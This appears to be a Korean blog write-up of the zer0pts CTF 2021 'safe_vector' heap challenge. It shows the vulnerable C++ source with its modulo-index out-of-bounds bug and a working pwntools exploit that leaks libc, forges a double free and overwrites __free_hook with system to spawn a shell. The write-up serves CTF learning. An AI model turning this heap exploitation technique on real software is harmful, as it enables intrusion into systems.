반응형
풀이
$ pwn checksec chall
[*] '/home/user/바탕화면/zer0ptf/safe_vector/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
#include <iostream>
#include <vector>
template<typename T>
class safe_vector: public std::vector<T> {
public:
void wipe() {
std::vector<T>::resize(0);
std::vector<T>::shrink_to_fit();
}
T& operator[](int index) {
int size = std::vector<T>::size();
if (size == 0) {
throw "index out of bounds";
}
return std::vector<T>::operator[](index % size);
}
};
using namespace std;
int menu() {
int choice;
cout << "1. push_back" << endl
<< "2. pop_back" << endl
<< "3. store" << endl
<< "4. load" << endl
<< "5. wipe" << endl
<< ">> ";
cin >> choice;
return choice;
}
int main() {
safe_vector<uint32_t> arr;
do {
switch(menu()) {
case 1:
{
int v;
cout << "value: ";
cin >> v;
arr.push_back(v);
break;
}
case 2:
{
arr.pop_back();
cout << "popped" << endl;
break;
}
case 3:
{
int i, v;
cout << "index: ";
cin >> i;
cout << "value: ";
cin >> v;
arr[i] = v;
break;
}
case 4:
{
int i;
cout << "index: ";
cin >> i;
cout << "value: " << arr[i] << endl;
break;
}
case 5:
{
arr.wipe();
cout << "wiped" << endl;
break;
}
default:
return 0;
}
} while (cin.good());
return 0;
}
__attribute__((constructor))
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
T& operator[](int index) {
int size = std::vector<T>::size();
if (size == 0) {
throw "index out of bounds";
}
return std::vector<T>::operator[](index % size);
}
class 부분에 새로만든 operator을 보면 index % size
의 결과 값에 참조를 하여 값에 접근한다. size와 index를 조작하면 음, 양수 다되고 원하는데로 조작이 가능한 OOB 취약점이 존재한다.
이를 이용해 힙 메모리 구간을 조작하여 Double Free를 발생이 가능하다.
exploit 시나리오
- tcache가 존재하므로 계속 push_back을 하여 메모리를 0x420이상으로 할당 받는다.
- largebin을 만들고 해제시켜 unsorted bin을 만든면, 4번 메뉴를 통해서 fk부분을 참조하여 라이브러리 주소를 노출시킨다.
- libc base 주소를 구하고, free_hook, system 함수를 구한다.
- heap feng shui 기술을 사용하여 힙 메모리를 조작하여 Double Free를 만들고, free_hook을 할당하여 system주소를 넣고 free시켜 exploit 한다.
Exploit Code
from pwn import *
# p = remote('pwn.ctf.zer0pts.com', 9001)
p = process('./chall')
libc = ELF('./libc.so.6', checksec=False)
def push(num):
p.sendlineafter('>> ', str(1))
p.sendlineafter('value: ', str(num))
def store(index, value):
p.sendlineafter('>> ', str(3))
p.sendlineafter('index: ', str(index))
p.sendlineafter('value: ', str(value))
def load(index):
p.sendlineafter('>> ', str(4))
p.sendlineafter('index: ', str(index))
p.recvuntil('value: ')
value = int(p.recvuntil('\n', drop=True))
return value
def wipe():
p.sendlineafter('>> ', str(5))
# Memory Leak
for i in range(16):
push(-1)
heap_base = (load(-9) << 32) + (load(-10)) - 0x10
log.info(f'heap base: {hex(heap_base)}')
for i in range(0x400 - 16):
push(-1)
libc_base = (load(-515) << 32) + load(-514) - 0x10 - 0x1ebbd0
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
log.info(f'libc base: {hex(libc_base)}')
log.info(f'free hook: {hex(free_hook)}')
log.info(f'system: {hex(system)}')
wipe()
# double free 만들기
for i in range(4):
push(i)
store(-2, 0x111)
for i in range(4, 8):
push(i)
store(-2, 0x51)
for i in range(8, 16):
push(i)
wipe()
for i in range(6):
push(0x0)
push(0x21)
push(0x0)
# 8, 9
push(free_hook & 0xffffffff)
push(free_hook >> 32)
for i in range(14, 64):
push(-1)
wipe()
push(system & 0xffffffff)
push(system >> 32)
push(0xdead)
push(0xbeef)
store(0, u32(b'/bin'))
store(1, u32(b'/sh\x00'))
#exploit
wipe()
log.success('exploit!!')
p.interactive()
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
baby sqli (0) | 2021.03.12 |
---|---|
GuestFS:AFR (0) | 2021.03.12 |
OneShot (0) | 2021.03.12 |
stopwatch (0) | 2021.03.12 |
Not Beginner's Stack (0) | 2021.03.12 |